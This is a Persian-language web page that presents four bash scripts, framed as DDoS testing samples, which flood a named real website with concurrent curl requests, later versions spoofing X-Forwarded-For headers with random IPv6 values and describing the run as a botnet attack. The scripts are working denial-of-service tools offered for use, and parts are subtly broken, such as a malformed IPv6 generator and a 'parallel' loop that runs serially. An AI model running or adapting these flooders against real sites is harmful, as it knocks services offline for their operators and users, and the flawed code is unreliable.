نمونه کد نویسی و برنامه سازی برای تست حملات انکار سرویس توزیع شده DDOS


#!/bin/bash

# تنظیم URL وب سایت مورد نظر
url="https://miralishahidi.ir/"

# تنظیم تعداد درخواست ها در هر ثانیه
pps=100

# تنظیم مدت زمان حمله (بر حسب ثانیه)
duration=10

# تابع برای ارسال درخواست های HTTP GET
function attack() {
  while true; do
    curl -s "$url" &>/dev/null
  done
}

# شروع حمله
echo "[!] حمله DDOS داینامیک به $url در حال شروع..."

# اجرای حمله در چندین فرآیند جداگانه برای افزایش پهنای باند
for i in $(seq 1 $pps); do
  attack &
done

# صبر کردن به مدت زمان تعیین شده
sleep $duration

# متوقف کردن حمله
echo "[!] حمله DDOS داینامیک متوقف شد."

# Kill all child processes
pkill -P $$

#!/bin/bash

# تنظیم URL وب سایت مورد نظر
url="https://miralishahidi.ir/"

# تنظیم تعداد درخواست ها در هر ثانیه
pps=100

# تنظیم مدت زمان حمله (بر حسب ثانیه)
duration=10

# تابع برای تولید رنج IP ورژن 6 تصادفی
function generate_random_ipv6() {
  local prefix="2001:db8::/32"
  local random_number=$((RANDOM % (2**32 - 1)))
  echo "${prefix}${random_number:x}"
}

# تابع برای ارسال درخواست های HTTP GET
function attack() {
  while true; do
    local ip=$(generate_random_ipv6)
    curl -s -H "X-Forwarded-For: $ip" "$url" &>/dev/null
  done
}

# شروع حمله
echo "[!] حمله DDOS داینامیک به $url با رنج IP ورژن 6 در حال شروع..."

# اجرای حمله در چندین فرآیند جداگانه برای افزایش پهنای باند
for i in $(seq 1 $pps); do
  attack &
done

# صبر کردن به مدت زمان تعیین شده
sleep $duration

# متوقف کردن حمله
echo "[!] حمله DDOS داینامیک متوقف شد."

# Kill all child processes
pkill -P $$

#!/bin/bash

# تنظیم URL وب سایت مورد نظر
url="https://miralishahidi.ir/"

# تنظیم تعداد درخواست ها در هر ثانیه
pps=100

# تنظیم مدت زمان حمله (بر حسب ثانیه)
duration=60

# تابع برای تولید رنج IP ورژن 6 تصادفی
function generate_random_ipv6() {
  local prefix="2001:db8::/32"
  local random_number=$((RANDOM % (2**32 - 1)))
  echo "${prefix}${random_number:x}"
}

# تابع برای ارسال درخواست های HTTP GET
function attack() {
  while true; do
    local ip=$(generate_random_ipv6)
    curl -s -H "X-Forwarded-For: $ip" "$url" &>/dev/null
  done
}

# شروع حمله
echo "[!] حمله بات‌نت به $url با رنج IP ورژن 6 در حال شروع..."

# ایجاد لیست IP های تصادفی
ips=()
for i in $(seq 1 $((pps * duration))); do
  ips+=($(generate_random_ipv6))
done

# اجرای حمله در چندین فرآیند جداگانه برای افزایش پهنای باند
for i in $(seq 1 $pps); do
  (
    for ip in "${ips[@]}"; do
      curl -s -H "X-Forwarded-For: $ip" "$url" &>/dev/null
    done
  ) &
done

# صبر کردن به مدت زمان تعیین شده
sleep $duration

# متوقف کردن حمله
echo "[!] حمله بات‌نت متوقف شد."

# Kill all child processes
pkill -P $$

#!/bin/bash

# تنظیم URL وب سایت مورد نظر
url="https://miralishahidi.ir/"

# تنظیم تعداد درخواست ها در هر ثانیه
pps=100

# تنظیم مدت زمان حمله (بر حسب ثانیه)
duration=60

# تابع برای تولید رنج IP ورژن 6 تصادفی
function generate_random_ipv6() {
  local prefix="2001:db8::/32"
  local random_number=$((RANDOM % (2**32 - 1)))
  echo "${prefix}${random_number:x}"
}

# تابع برای ارسال درخواست های HTTP GET
function attack() {
  local ip=$(generate_random_ipv6)
  curl -s -H "X-Forwarded-For: $ip" "$url" &>/dev/null
}

# شروع حمله
echo "[!] حمله بات‌نت به $url با رنج IP ورژن 6 در حال شروع..."

# ایجاد لیست IP های تصادفی
ips=()
for i in $(seq 1 $((pps * duration))); do
  ips+=($(generate_random_ipv6))
done

# ارسال درخواست ها به صورت موازی
for ip in "${ips[@]}"; do
  curl -s -H "X-Forwarded-For: $ip" "$url" &>/dev/null
done

# صبر کردن به مدت زمان تعیین شده
sleep $duration

# متوقف کردن حمله
echo "[!] حمله بات‌نت متوقف شد."

# Kill all child processes
pkill -P $$
  1. ورود به صفحه فارسی